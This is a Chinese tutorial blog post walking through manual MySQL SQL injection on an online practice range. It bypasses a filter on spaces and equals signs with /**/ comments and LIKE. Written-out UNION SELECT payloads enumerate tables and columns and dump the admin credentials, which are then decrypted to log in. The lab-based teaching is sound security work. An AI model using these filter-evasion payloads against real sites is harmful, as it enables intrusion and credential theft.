当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题。下面是我的实战过程。这里使用的是墨者学院的在线靶场。咱们直接开始。

第一步,判断注入点。

通过测试发现,这里过滤了空格和等于号。所以咱们用/**/代替空格,用like代替=,最后将构造的语句进行url编码,使用的是小葵转化工具。

所以咱们构造如下语句。

/**/and/**/1/**/like/**/1

结果如下图,页面正常显示。

接着咱们再构造如下语句。

/**/and/**/1/**/like/**/2

发现页面报错,说明存在注入点,且为数字型。如下图

第二步,判断字段数。

通过 order by语句,咱们构造如下语句

/**/order/**/by/**/4

页面正常显示,如下图。

接下来,咱们输入如下语句。

/**/order/**/by/**/5

发现页面报错,说明数据库里有四个字段,如下图。

第三步,判断回显位置。

通过联合查询,构造如下语句。这里有一点要注意:使用联合查询时,要使得前面不可查询,所以我将id=1改成了id=-1。

/**/union/**/select/**/1,2,3,4/**/#

结果如下图,我们发现,2,3,两个位置回显到页面上了。

第四步,爆库

通过上一步,咱们清楚了回显位置,接下来继续使用联合查询,构造如下语句。

/**/union/**/select/**/1,database(),3,4/**/#

结果去下图。咱们爆出了数据库名。

第五步,爆表。

由于爆表构造得语句有点长,编码成url格式会更长。所以这里换成了burpsuite进行url编码。构造语句如下。

/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

结果去下图,咱们爆出了两个表。

第六步,爆字段。

接下来咱们构造如下语句。

/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

然后咱们发现了name,password,两个字段,如下图。

第七步,爆账号密码。

这里咱们还用到了group_concat()函数,可以查询出所有账号和密码。构造如下语句。

/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

结果如下图,查询出了管理员账号,密码。

第八步,解密密码,登陆

我们发现查询出来得密码是加密得,然后通过在线解密得到密码,如下图。注入结束。

MySQL手工注入进阶篇实战总结

判断注入点,通过测试发现,过滤了空格,等于号,所以用/**/代替空格,用like代替等于号,构造的语句在进行url编码。

第一步,判断注入类型。构造语句 /**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2 发现报错。所以判断为数字型。

第二步,判断字段数,构造语句 /**/order/**/by/**/4和/**/order/**/by/**/5 发现4正常,5报错,说明有四个字段数。

第三步,爆库。构造语句 /**/union/**/select/**/1,database(),3,4/**/#

第四步,爆表。构造语句/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

第五步,爆字段。构造语句 ​ 构造语句/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

第六步,获取账户,密码。构造语句 /**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

第七步,解密,登陆。​

MySQL手工注入进阶篇——突破过滤危险字符问题的更多相关文章

  1. SQL手工注入进阶篇

    0.前言 上一篇我们介绍了SQL手工注入的流程以及步骤,但在实际的安全问题以及CTF题目中,查询语句多种多样,而且是肯定会对用户的输入进行一个安全过滤的,而这些过滤并不一定是百分百安全的,如何利用一些 ...

  2. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  3. 【转载】C#防SQL注入过滤危险字符信息

    不过是java开发还是C#开发或者PHP的开发中,都需要关注SQL注入攻击的安全性问题,为了保证客户端提交过来的数据不会产生SQL注入的风险,我们需要对接收的数据进行危险字符过滤来防范SQL注入攻击的 ...

  4. MYSQL手工注入(详细步骤)—— 待补充

    0x00 SQL注入的分类: (1)基于从服务器接收到的响应         ▲基于错误的 SQL 注入         ▲联合查询的类型         ▲堆查询注射         ▲SQL 盲注 ...

  5. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  6. PHP过滤指定字符串,过滤危险字符

    安全过滤函数,用于过滤危险字符 function safe_replace($string) {  $string = str_replace(' ','',$string);  $string = ...

  7. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

  8. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  9. mysql手工注入

    以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...

随机推荐

  1. 【原创】为什么我的 Kafka 总是连接失败呢?

    提出问题 近日助友 Docker 部署 Kafka 服务,服务日志启动正常,但客户端却无法连接 往日曾踩过此坑,然方法均源于博客,其语焉不详,不知为何不行,亦不知为何行,印象不甚深刻,耗费大量时间 为 ...

  2. Kubernetes Jenkins动态创建Slave

    目录 0.前言 1.Jenkins部署 2.配置jenkins动态slave 3.dubbo服务构建 3.1.制作dubbo镜像底包 3.2.制作slave基础镜像 3.2.1.Maven镜像 3.2 ...

  3. 使用mitmproxy抓包手机APP的配置步骤

    转: https://www.jianshu.com/p/8ee3f9f46d7a 注意 1. 手机安装完证书之后还有一步 “证书信任设置” 操作 2. 手机设置代理的时候 ip地址和电脑本机是一样的

  4. VsCode从零开始配置一个属于自己的Vue开发环境

    vscode vue VsCode算是比较热门的一个代码编辑器了,全名Visual Studio Code下载地址:点我去下载插件众多,功能齐全,我在平常开发过程中都是用的它,整理了些自认好用的插件, ...

  5. vue 父子组件 基础应用scrollball v-model sync

    # 组件之间通信 可以通过 v-model 子组件可以通过 改变数据来改变父组件的数组  * v-model  子组件需要接受value属性,需要出发this.$emit("input&qu ...

  6. jenkins-gitlab-harbor-ceph基于Kubernetes的CI/CD运用(二)

    一张网图 因为我们使用了Docker in Docker技术,就是把jenkins部署在k8s里.jenkins master会动态创建slave pod,使用slave pod运行代码克隆,项目构建 ...

  7. ketika aku 病毒

    #客户中了该病毒,本想找病毒样本来看看,可是没找到样本,发现中这个病毒的案例还是相对较少: #国内好像没有对于该病毒没有比较详尽的病毒信息,特此写一下方便后者: #中招表现:目前所能够发现的是能够对浏 ...

  8. mybatis高级应用(四)_逆向工程

    1 逆向工程 源码请参考:云盘下工程 generatorSqlmapCustom 1.1     什么是逆向工程 mybaits需要程序员自己编写sql语句,mybatis官方提供逆向工程 可以针对单 ...

  9. select_related prefetch_related

    # select_related与prefetch_related# # select_related帮你直接连表操作 查询数据 括号内只能放外键字段# # res = models.Book.obj ...

  10. poj1088 滑雪 dp+dfs记忆化

    简单的搜索,不必多说了,初始状态下每个点能到达的长度是1,它本身.还有,注意关掉文件重定向,被坑好多次了. 代码如下: #include<cstdio> #include<algor ...